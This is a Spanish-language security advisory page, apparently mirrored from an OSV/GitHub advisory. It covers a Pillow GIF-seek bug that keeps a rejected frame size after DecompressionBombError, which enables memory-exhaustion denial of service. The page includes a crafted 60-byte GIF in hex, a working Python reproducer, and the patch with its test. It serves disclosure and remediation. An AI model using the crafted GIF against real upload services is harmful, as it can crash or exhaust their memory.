Alta

Pillow: la búsqueda en GIF mantiene el tamaño rechazado tras DecompressionBombError, permitiendo DoS

  • Publicada: 20.10.2026
  • Actualizado: 20.10.2026 23:31
============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Un archivo GIF de aproximadamente 60 bytes puede hacer que Pillow asigne gigabytes de memoria. Esto afecta a las aplicaciones que capturan el error de imagen demasiado grande generado al avanzar a un fotograma de animación posterior y luego continúan usando el mismo objeto de imagen. Pillow rechaza correctamente el fotograma de tamaño excesivo, pero almacena de todos modos las dimensiones rechazadas en el objeto de imagen, y las operaciones posteriores dimensionan su memoria a partir de ellas. Un atacante que pueda cargar un GIF a dicho servicio puede agotar su memoria: el proceso falla con un error de memoria insuficiente tras comprometer gigabytes o es terminado por el sistema operativo. No se produce corrupción de memoria.

El error se encuentra en GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). Cuando la extensión de un fotograma amplía la imagen, el código asigna el nuevo tamaño a self._size y solo entonces llama a Image._decompression_bomb_check(). Nada restaura el tamaño anterior cuando se genera DecompressionBombError, ya que seek() solo revierte los cambios en EOFError. Tras capturar el error, im.size informa el tamaño rechazado mientras que el búfer de píxeles im.im sigue siendo el primer fotograma de 1×1. Dado que la extensión es un desplazamiento de 16 bits más un tamaño de 16 bits, ese tamaño rechazado puede ser de hasta 131070×131070.

En el reproductor adjunto, el tamaño rechazado es 40000×40000. Un nuevo intento de seek(1) seguido de load() llega entonces a load_prepare(), que invoca a Image.core.fill() con ese tamaño para decodificar un solo píxel. El pico de memoria sube de 17 MiB a 1700 MiB antes de que un límite de espacio de direcciones de 3 GiB detenga la siguiente asignación. Image.new("RGB", im.size, ...) y rotate(..., expand=True) también asignan memoria a partir del tamaño obsoleto.

Las rutas predeterminadas no se ven afectadas: la combinación simple de Image.open() con load(), ImageSequence.Iterator y n_frames/is_animated. El orden se introdujo en c9f1b35e9810 («Added GIF decompression bomb check», 2022-06-30, publicado por primera vez en 9.2.0), verificación agregada para CVE-2022-45198. Las dos comprobaciones de extensión de descarte posteriores en la misma función ya validan antes de usar el tamaño, y el parche adjunto hace que esta comprobación siga el mismo orden.

Detalles

GifImageFile._seek() permite que un fotograma posterior amplíe la imagen, y realiza la comprobación de descompresión excesiva (decompression bomb) para el nuevo tamaño solo después de almacenarlo en el objeto:

python
# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) genera DecompressionBombError para cualquier valor superior a 2 * MAX_IMAGE_PIXELS (178 956 970 px por defecto), pero para entonces self._size ya contiene el valor rechazado y nada lo restaura: seek() (GifImagePlugin.py:166-179) solo revierte en EOFError, y _seek(0) únicamente amplía _size. El objeto que la aplicación aún mantiene reporta por tanto im.size == (40000, 40000) mientras im.im es el búfer de 1×1 del fotograma 0. Compárese con las dos comprobaciones de extensión de descarte unas líneas más abajo en la misma función (GifImagePlugin.py:383 y :407), que llaman a _decompression_bomb_check(dispose_size) antes del correspondiente Image.core.fill(), y con TiffImagePlugin.load_prepare() (src/PIL/TiffImagePlugin.py:1319-1321), que comprueba _tile_size antes de asignar memoria a partir de él.

Con este archivo GIF de 60 bytes (hexadecimal):

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() tiene éxito (im.size == (1, 1)), im.seek(1) genera: DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.

Lo que ocurre a continuación depende de lo que la aplicación haga con el objeto, pero varias operaciones habituales toman sus dimensiones de im.size en lugar del búfer en C:

  • Reintentar im.seek(1). El fallo en _seek dejó self.__offset == 0 y el puntero de archivo justo después del descriptor de 9 bytes, por lo que el reintento analiza todo lo que sigue —en el archivo anterior, un fotograma válido de 1×1— y tiene éxito. im.load() ejecuta entonces GifImageFile.load_prepare():
    python
    # src/PIL/GifImagePlugin.py:452-456
    elif self.mode in ("RGB", "RGBA"):
        self._prev_im = self.im
        if self._frame_palette:
            self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
    que asigna e inicializa con memset una imagen «P» de 40000×40000 (1.6 GB) para decodificar en ella un mosaico de 1×1, y load_end() (GifImagePlugin.py:485-491) rellena una segunda y la convierte a RGB (otros 1.6 GB + 6.4 GB).
  • im.rotate(angle, expand=True) para un ángulo que no sea múltiplo de 90, o el modismo habitual de aplanar sobre el fondo Image.new("RGB", im.size, bg), también asignan memoria a partir de im.size (medido en un objeto envenenado a 20000×20000: rotate(45, expand=True) finaliza y toca 776 MiB; Image.new("RGB", im.size, "white") toca 1.5 GiB). Las operaciones que pasan im.size como un cuadro contra el búfer real (thumbnail, resize, save) fallan en su lugar con ValueError/SystemError.

Los campos de extensión son un desplazamiento de 16 bits más un tamaño de 16 bits, por lo que el tamaño almacenado puede elevarse hasta 131070×131070 (17.2 Gpx; 17 GB para el modo «P», 69 GB para almacenamiento «RGB»/«RGBA»), 96× el umbral de error.

n_frames / is_animated no se ven afectados: llaman a _seek(frame, update_image=False), lo que omite la asignación a _size (el archivo anterior informa n_frames == 2, is_animated == True y deja im.size en 1×1).

Impacto

Un usuario remoto capaz de cargar un archivo GIF en un servicio que (a) avanza fotogramas de animación y (b) captura la excepción de seek() —un bloque amplio except Exception alrededor de un bucle de recolección de fotogramas while True: im.seek(im.tell()+1), o un except DecompressionBombError: log and continue explícito— y luego sigue utilizando el mismo objeto Image, termina provocando asignaciones de 1.6 GB a decenas de GB a partir de un archivo de 60 bytes: MemoryError tras comprometer gigabytes por el proceso, o una terminación por falta de memoria (OOM kill) del proceso de trabajo cuando no se ha configurado un límite de espacio de direcciones. La protección MAX_IMAGE_PIXELS se dispara, pero en la práctica no impide que las dimensiones rechazadas permanezcan en el objeto que debía proteger.

La condición previa corresponde a un comportamiento real de aplicaciones, pero no a la ruta predeterminada: Image.open(); im.load() no se ve afectado, y ImageSequence.Iterator propaga el error fuera de la sentencia for (un try dentro del cuerpo del bucle no lo silencia). De ahí la baja severidad. Esto se encuentra adyacente a la comprobación de descompresión de extensiones GIF añadida para CVE-2022-45198: el orden se introdujo con esa comprobación en c9f1b35e9810 («Added GIF decompression bomb check», 2022-06-30), lanzado por primera vez en Pillow 9.2.0. Antes de ello, el mismo incremento de tamaño se producía sin comprobación alguna; la comprobación introducida allí es la que se ejecuta demasiado tarde.

Reproducción

repro es un script de Python independiente que se ejecuta contra el Pillow instalado. Requiere aproximadamente 1.7 GB de memoria RAM libre.

  1. setup_env() limita el espacio de direcciones del proceso a 3 GiB mediante RLIMIT_AS, de modo que las asignaciones sobredimensionadas terminen en MemoryError en lugar del terminador OOM. Luego abre el GIF de 60 bytes mostrado anteriormente, generado en memoria mediante bomb_gif(). El GIF contiene una pantalla de 1×1 y un fotograma 0 de 1×1, por lo que Image.open() supera su propia comprobación de bomba de descompresión. A continuación, hay un descriptor de imagen básico para el fotograma 1 que declara 40000×40000 (1.6 Gpx, aproximadamente 9× el umbral de error). Le sigue un fotograma real de 1×1.
  2. poc() invoca a im.seek(1) y captura DecompressionBombError, del mismo modo que lo haría una aplicación que omite fotogramas erróneos.
  3. Primera comprobación: el estado es incoherente. El script imprime im.size junto al búfer real de píxeles im.im.size. Si el fotograma rechazado hubiera dejado el objeto sin modificar, ambos serían (1, 1). En el código afectado, im.size es (40000, 40000).
  4. Segunda comprobación: uso de memoria. El script reintenta im.seek(1), que ahora procesa el fotograma final de 1×1, y llama a im.load(). Imprime el valor máximo de RSS del proceso antes y después. load_prepare() dimensiona su Image.core.fill() a partir de im.size, por lo que cargar un solo píxel llena un búfer de 1.6 GB antes de que el límite de 3 GiB detenga la siguiente asignación.

Salida esperada en el código afectado:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

El script imprime BUG únicamente si ambas comprobaciones se cumplen: el tamaño que excede el límite permaneció en el objeto tras la excepción y el RSS máximo aumentó en más de 1000 MiB al cargar un fotograma de 1×1. De lo contrario, imprime OK. Con el parche adjunto aplicado, imprime im.size=(1, 1), el RSS máximo se mantiene en torno a 23 MiB y la última línea es OK.

Solución sugerida

El parche adjunto valida antes de mutar en GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294): la extensión ampliada se calcula en una variable local, se pasa a _decompression_bomb_check() y solo entonces se asigna a self._size, coincidiendo con el orden de las dos comprobaciones de dispose_size más abajo en la misma función. De este modo, un fotograma rechazado mantiene el objeto en su estado previo a la búsqueda; los archivos válidos se comportan como antes y la excepción se sigue generando en el mismo punto:

diff
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated pasan por update_image=False y no se ven afectados. El parche también extiende test_exception_gif_extents en Tests/test_decompression_bomb.py para verificar que im.size no se modifique tras DecompressionBombError. No cambia seek() en sí; opcionalmente, seek() también podría tratar a DecompressionBombError como a EOFError y volver a posicionar el puntero en last_frame, para que un nuevo intento de seek() no reanude el procesamiento desde la mitad del fotograma rechazado.

El parche

GIF: ejecutar la comprobación de bomba de descompresión en la extensión de un fotograma que se amplía antes de almacenarla en self._size

Se aplica a src/PIL/GifImagePlugin.py en la confirmación anterior.

diff
diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)
 
+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

El reproductor

Reproductor — repro, 2,474 bytes

Su última línea es BUG cuando el problema se activa y OK cuando no. Al volver a ejecutarse en una compilación limpia de dicha confirmación, imprimió BUG.

python
#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS


def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"


def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )


def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024


def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im


def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False


im = setup_env()
raised = poc(im)

# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")

Qué hacer

Actualice Pillow a la versión 13.0.0 o posterior, o aplique el parche sugerido.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 9.2.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-400
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
20.10.2026
Actualizado
20.10.2026 23:31

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-65qm-jvmh-6pqg - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (81) en el archivo
Entradas en total
81
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 10
  • Alta 53
  • Media 16
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

antes: 12

Gravedad:
  1. Pillow: la búsqueda en GIF mantiene el tamaño rechazado tras DecompressionBombError, permitiendo DoS esta entrada
    Alta CVE-2026-112400 >= 9.2.0, < 13.0.0 13.0.0
  2. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  9. Alta · 8.8 Explotada en ataques CVE-2023-4863 < 10.0.1 10.0.1
  10. Alta · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  11. Alta · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  12. Alta · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  13. Crítica · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  14. Alta · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  15. Crítica · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  16. Alta · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  17. Alta · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  18. Alta · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  19. Alta · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  20. Alta · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  21. Alta · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  22. Alta · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  23. Alta · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  24. Crítica · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  25. Alta · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  26. Alta · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  27. Alta · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
Mostrar más (20) Mostrando 40 de 63

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.